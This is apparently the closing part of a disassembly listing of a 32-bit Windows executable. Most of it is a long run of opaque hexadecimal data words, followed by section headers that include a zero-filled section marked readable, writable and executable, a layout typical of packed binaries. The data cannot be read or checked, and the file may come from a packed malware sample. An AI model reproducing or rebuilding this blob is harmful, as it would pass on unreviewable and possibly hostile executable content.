		dd 29164E5Ch, 61ED4E46h, 2FBCA1FDh, 0BB8F15F8h,	6B99CED4h
		dd 9232817Eh, 22B7E853h, 336909A2h, 98BE68EFh, 2FF9685Fh
		dd 43602A75h, 1890E3D9h, 0ACF4CFFDh, 4963EC8Bh,	825E3BA6h
		dd 0DBF6C702h, 0C95065F3h, 54CC805h, 9C556E46h,	0EF1A21FBh
		dd 78E3C7D3h, 0FE1E297Bh, 8F1B4DEFh, 0F90EDB88h, 6F55807Bh
		dd 70759826h, 90D040FBh, 22D3EFAEh, 95A30F14h, 3E8C793Bh
		dd 6BEBA4B6h, 3B429DDEh, 7C68FA7Fh, 2D4C2B88h, 0B1FF20E8h
		dd 6D0848BBh, 0F10AAD4Eh, 0DCB7272Eh, 0D29ECB3h, 4B86F0ECh
		dd 0D09BE9C5h, 9D4ED4CAh, 5B633ECFh, 0E0E63321h, 31AF2B87h
		dd 0F7240102h, 0C6266F42h, 1DE44F47h, 776D371h,	8689E305h
		dd 0A241CDBBh, 0E90CCF9Eh, 0FD0CA5D4h, 0FBDEFEEEh, 68D45C00h
		dd 43E82E40h, 1431ED9Ch, 1117D936h, 5BA3B0B1h, 58F95F6Fh
		dd 99F10BA9h, 0AEA96A51h, 2165699Eh, 69D9C003h,	27D35170h
		dd 0C6E80F6Ah, 0E19DDEADh, 0B08F90BCh, 741A7A8h, 3736D553h
		dd 6355724Ah, 0D6875C24h, 5D3A5ABBh, 0AC1374CEh, 0DB8D54A5h
		dd 94D0B5DBh, 832D7A76h, 0D6108011h, 3E0B9E8Bh,	5087B803h
		dd 0FE429294h, 0F7B6BD7Fh, 36AAC2h, 0FFE043F9h,	0FC207FBEh
		dd 1275C839h, 6AD8111Eh, 1AFB3D7Dh, 0FEFD6B13h,	0B7BDB6CFh
		dd 76916854h, 10B7E25Ch, 7B133528h, 7E62067Ch, 5E49F7FBh
		dd 9F875C54h, 69DB8B81h, 0DA1C3863h, 0AF571C31h, 3593A90h
		dd 85984B76h, 3F4522DCh, 0B828A511h, 70364BC5h,	0F507775Eh
		dd 0FB35FAECh, 6AC034C3h, 17BE5844h, 0EB5FF7CFh, 4248D024h
		dd 0F7EB9592h, 97AA129Bh, 0B15F8CA5h, 7FF9C9D9h, 0C6D676E6h
		dd 0C7081605h, 0E604F780h, 0BF6F7CE3h, 3762B2B6h, 116F4C94h
		dd 934743ECh, 4CB0929h,	2083AD5Ah, 0DAD5F2A4h, 15FBED83h
		dd 5496922h, 1004385Eh,	0B434CA1Dh, 0EB4D7923h,	0EEE20E1Eh
		dd 0D4061567h, 161EFE60h
		dd 0B2FC6858h, 4697C436h, 51D107C5h, 0B5C9D1AFh, 87DF06B1h
		dd 12060146h, 0CE3B1AD6h, 0B39A6AEBh, 53FFFC6Eh, 0B1A3FE4Eh
		dd 2E7448F5h, 4893B456h, 68F4C8F9h, 20918316h, 0C55663FAh
		dd 56756E2Ah, 56C23C9h,	0BD7562AFh, 55D920A0h, 0A942566Eh
		dd 3FCA4A05h, 0DCC76A25h, 512CAEE9h, 165DBAC7h,	95EEC84Fh
		dd 4017D290h, 0AD522470h, 0DFD9D198h, 73AA2F72h, 6DF89FC7h
		dd 40B43B35h, 0B7754720h, 180850D2h, 0ADFFE03h,	234AABE7h
		dd 0F114C363h, 7742FA44h, 0F937CDA5h, 74FB09E6h, 8D5ED426h
		dd 29DB423Bh, 2D8F45A9h, 0FC2EDE8Fh, 0EB7F4745h, 0B2E6144Dh
		dd 66B4E75Ah, 8A32C402h, 0ED7CCDDEh, 25B949E0h,	0B9F66ECCh
		dd 85B02A3Eh, 361B24C2h, 7CA6E1DAh, 0C82A6027h,	0DA2C4C39h
		dd 9DBEEC26h, 1A4A5400h, 0A783AE31h, 0BAE7F5AEh, 41FBE969h
		dd 1F02AC69h, 0CCE56AB4h, 4DBFC570h, 0ECAF6E1Fh, 0B17B2029h
		dd 5F3CB35Ch, 0A212BD70h, 66584472h, 0ABF9932h,	2C279652h
		dd 81B2687Dh, 6EFD3370h, 0A28B1C44h, 4FF7DCF4h,	3376E2E1h
		dd 0A5D6D234h, 0B449708h, 0ED74C7E3h, 90F817D9h, 3C82ACD6h
		dd 180FE7BBh, 7E742458h, 6250CCF5h, 84D1621h, 142BB9F8h
		dd 386A0299h, 0CCC88E34h, 8410B77Fh, 0A5F5888Ch, 0D8AEB625h
		dd 4165792Dh, 71EBDD49h, 186F059Ch, 46BAB48Fh, 283AB7DAh
		dd 0F77997A1h, 45A3A450h, 2C5F1807h, 6B99D6F6h,	1AC833B7h
		dd 0D6E48867h, 0A116A39Eh, 64E584E6h, 0A21DF679h, 0CB5E8318h
		dd 0A31B596Ah, 2AEE2840h, 14C42C67h, 0B74CE7A6h, 0B2B3C0EDh
		dd 1FADDCA5h, 0C43D6350h, 9BF0C9EFh, 0EBCE7259h, 4C053D01h
		dd 0F414C006h, 6618CE4Fh, 3F6E92C8h, 1DD83DA0h,	389E3A05h
		dd 774D008Fh, 0C60EABC4h, 0BAECD7F8h, 83D668BCh, 0C8A5ECD7h
		dd 0D5592F4Ah, 0FFFCB469h, 0EFC81165h, 47EE5C50h, 8D93A9F0h
		dd 3A3C465Fh, 0A76F586Eh, 5C3DB6F4h, 0D96CCCEDh, 6E2A7332h
		dd 5B95CFF3h, 0D4EF7586h, 0FADACBF3h, 440D47F5h, 5AC1ED6Ah
		dd 0B8F35668h, 622B7960h, 7DE1366Dh, 0EA8B506Fh, 0E36671Eh
		dd 71679FC2h, 0AC603DD8h, 0CC917C5Ch, 0C60737CEh, 5C757782h
		dd 0B4105015h, 0E3B85601h, 0A4916066h, 7CB961BCh, 356DADB3h
		dd 0FCD9096Dh, 0D645A310h, 8651A9Eh, 0F16598A6h, 6496487Ch
		dd 0C40CC557h, 20A55C7Ch, 0C86203BAh, 0BA91037Dh, 0F8258009h
		dd 55F8BDC3h, 0E035AE33h, 951E7732h, 0D283185Dh, 0FDCEB45Ch
		dd 0F94D6441h, 73BF1ADAh, 0CC565B93h, 0CF44256Dh, 1BB68FEDh
		dd 265CC894h, 45F47A9Bh, 1252A730h, 69E29C67h, 0FFE78890h
		dd 11B74E6Ch, 13D32717h, 0DDA5F335h, 0DEA236FDh, 3CCCCEBAh
		dd 475DBEDh, 0B5CA7CCFh, 423227E4h, 86DA9FF9h, 0E491E61Ch
		dd 0B2EDC491h, 694987ADh, 85188831h, 0A135198Ah, 3B01ADBEh
		dd 0FBCBD943h, 7FEB945Ah, 0AACA44E9h, 7807B0A7h, 18DF6F4Dh
		dd 96C988AFh, 7A9E0839h, 3F6E13BDh, 0DC5EEE23h,	0E7775C0Fh
		dd 0C4BC9F52h, 9758690Ch, 0E45AC419h, 9F7CF8BBh, 0CA7BFDCCh
		dd 2F8ADB2Ah, 7534FD34h, 0FA3AB852h, 74611F28h,	1C4D8309h
		dd 2894F7B3h, 2794768h,	62B12566h, 234823CEh, 1833D44Dh
		dd 82CE076Ch, 1886811h,	30D2A449h, 8E5F3AB1h, 62182CD5h
		dd 3BBC41Ah, 9C16B051h,	983F003h, 88014652h, 6939B387h
		dd 0CD0094BDh, 39177728h, 57F256E9h, 17645562h,	0BB43984Eh
		dd 0B9FFD005h, 0B31E8776h, 0F24F1EA6h, 0C7EE61DFh, 7F58B865h
		dd 2BCC9D14h, 426D7D7Eh, 3BF551EAh, 0DF9A03DBh,	11E9A237h
		dd 0C36722F4h, 0B2D151E4h, 93FA54FCh, 68AA5A83h, 41D73FEAh
		dd 0E846D6A0h, 0F88D53A5h, 36DC9AEDh, 0FC7EBCD8h, 2894E515h
		dd 0B6FBC70Ah, 8152A227h, 0C555C2F8h, 0C8B44E41h, 89331807h
		dd 751BE5A8h, 0AD8BE8FFh, 9D8DB0CFh, 67A64050h,	0E3F6D4BDh
		dd 0B9DBC2A0h, 7247BE4Dh, 88C33D5Eh, 4BC4AD3Bh,	3FAE7CB7h
		dd 156D743h, 25E754C5h,	84A6C00Ah, 46B2E9ACh, 0D5FFA9E0h
		dd 0CB0ED82Ah, 0FFF7E003h, 0F0E048B0h, 4EBC2383h, 6F825C7Ch
		dd 6637F8BFh, 8EBAA45Ah, 0EE103DC8h, 0AF0A72BDh, 7538A3F1h
		dd 4A9D8B94h, 43E9CE13h, 0B986A7FEh, 0E25D9EF6h, 4946FBCh
		dd 0DFBA9B33h, 0D0A28D15h, 0C1319D5Dh, 23594199h, 0A724213Ch
		dd 0D1F338F0h, 39EB5298h, 0DF0A7A17h, 650EA17Bh, 5A0FBF78h
		dd 0AD7F345Ch, 18EA92F1h, 0DA865A08h, 49B52760h, 94407E5Eh
		dd 0A736F1C5h, 4049EAD6h, 0D2F7EC8h, 58D20BB9h,	897DB9D7h
		dd 307A4245h, 9B6A4FCFh, 93464AC2h, 84CDF60Dh, 0C38D6BABh
		dd 3D6A7574h, 5A9782E6h, 0DBEFCF7Eh, 52F9705Ah,	0F3D65171h
		dd 0A81B51BCh, 90BB239h, 0C8096DE5h, 0B811F796h, 72BC1848h
		dd 0F69FB6E9h, 0EA2A6816h, 8324D360h, 0B8022A9Fh, 8E20DA78h
		dd 0D3BD65C2h, 54514F6Ah, 8DF07035h, 0A24E9675h, 1E6A9949h
		dd 74C39734h, 8B303B88h, 4790375Eh, 0CDD178F5h,	8589465h
		dd 4FD59E93h, 429D11B7h, 2D6DD6ECh, 47000D5Bh, 0EFF98DFEh
		dd 9B088788h, 4F68B16h,	824CE9A8h, 0A79DBC14h, 85EC99F3h
		dd 6B8E7B89h, 0EA37A41Eh, 0B14BF073h, 2886EDD2h, 0A90E1401h
		dd 0F503A4F3h, 436E060Dh, 0A48334C0h, 0ADD35E51h, 291B4561h
		dd 1DDAF625h, 446BCD20h, 30B1AB52h, 634EFA79h, 197DD030h
		dd 383F366Fh, 3602BC77h, 2C4AF7D8h, 6BE299A0h, 0C934FBD6h
		dd 0D3C50302h, 7F5FA2F9h, 0A4E958ADh, 0C15907D8h, 542CD56Fh
		dd 0B03D9E17h, 7592C44Fh, 0A24970AFh, 9FBA2F4Bh, 0F1C6D2C6h
		dd 0B9864B83h, 53048E8Bh, 54E921ABh, 57F8B802h,	68B65173h
		dd 0CB0C86A5h, 5E98D929h, 90088A78h, 0F77106Eh,	97D74D05h
		dd 0DFE053DAh, 0B7F19CBDh, 5B8852D4h, 7F8794C5h, 0F4311EC2h
		dd 9E6CD0A7h, 3F31B94Fh, 0AE5D519Bh, 0B11F08C5h, 626B6D37h
		dd 0E4AB4917h, 0D9ADE685h, 94D8A85Dh, 52A3EE3h,	0DBED4A45h
		dd 12A29B33h, 0E845659Ch, 6E619AFh, 0D9B2AB00h,	9B759179h
		dd 532B4EB3h, 5695DFDDh, 98F260B7h, 4895DFDEh, 97278157h
		dd 3AAAA19h, 46BEF4F0h,	5D9160h, 0F755ED00h, 6FF2C4C2h
		dd 57AC71ADh, 8DBAE8EBh, 3E3E0C77h, 81D86087h, 0D7D3B10Ch
		dd 22C9A58Fh, 0F3FA5F81h, 58B3D23Fh, 657F6758h,	4302F3F2h
		dd 70B34E3Dh, 74DBE856h, 4D893620h, 3762DBDCh, 0B57FD995h
		dd 0E3C44196h, 83551595h, 4A1E6E48h, 62960776h,	292BBBD8h
		dd 8EF8B548h, 0B4CA3713h, 0A27F507Ah, 304AEAAFh, 7A76F7CFh
		dd 9090ADB4h, 1E3E1AA2h, 3C07851Fh, 0C6E25C7Ch,	0C85E9FE5h
		dd 0E7881AFAh, 0DA20CF44h, 569E6E07h, 712A757h,	70F1CF56h
		dd 0CF62160Ch, 627E3A44h, 0A6AE9C5Dh, 741EEEF5h, 9D212DFh
		dd 68FEBACFh, 0A28AFAA1h, 0EBEFD43Ch, 8AE36357h, 177547BEh
		dd 86805CD5h, 0FAB7EF5Dh, 62A3F8E4h, 443B0651h,	5C1BE35Ch
		dd 0E3683910h, 96E8858Bh, 0D8E45B9Eh, 0A1CBB0FEh, 0F3C09D39h
		dd 1488ED89h, 0C26B5947h, 3114499Eh, 748170A1h,	0A080B809h
		dd 0E2603328h, 37BC10DEh, 9A97DDA3h, 0CB2B80D4h, 1CA502h
		dd 21FDB0D9h, 795354D7h, 0DB6D5F03h, 0B3EC7035h, 8BB592CCh
		dd 0ED8FFACBh, 0BFE863A6h, 5C4CBD65h, 329247CDh, 94EA20AAh
		dd 0FD28FB80h, 0E069834h, 0E349F775h, 0B2EFA4F3h, 0A6D26CAEh
		dd 7D7058E9h, 6DC0DA92h, 2B4A7327h, 40DB395Ch, 0F7971427h
		dd 8C41A0D8h, 6EF3EB73h, 0BBAF9773h, 4B701199h,	0DEA9E191h
		dd 6765546Dh, 6168E147h
		dd 0BB0631A3h, 0D39A924Bh, 6EC947B5h, 0C0F8034Ch, 0F0A96615h
		dd 98A67189h, 362729B2h, 0A361E8C3h, 0E82620D3h, 0D847775h
		dd 0C0959139h, 0F8DAF169h, 0E0EABC90h, 0AE3F478Dh, 496ABE40h
		dd 0CB0D6128h, 5041F675h, 8E649C53h, 396D078Fh,	2C39CAC9h
		dd 0CE785AD3h, 3B34C002h, 15024571h, 256984A1h,	0A17AED9h
		dd 0B3D2F436h, 6F5D4C61h, 0A6A61743h, 0B20B6B3Bh, 5977E3A2h
		dd 0D4B251B9h, 7C24AE2Eh, 6FD824E6h, 0DB9C15C0h, 0BF646568h
		dd 386F8780h, 0C9CDFDB4h, 2C30587Dh, 8534DB9Bh,	24A261A2h
		dd 1F2D1917h, 69C137ECh, 4874BE73h, 3490EDFCh, 936206C6h
		dd 0D6B768F4h, 0E6353FB0h, 0F2F940A4h, 0FB2E3377h, 0C3773906h
		dd 0EC762466h, 73BA400Bh, 0D4DA5B86h, 300h dup(0)
_data		ends

; Section 6. (virtual address 00026000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00026000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 426000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 400h	dup(0)
_adata		ends

; Section 7. (virtual address 00027000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00027000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 427000h
		align 2000h
_idata2		ends


		end start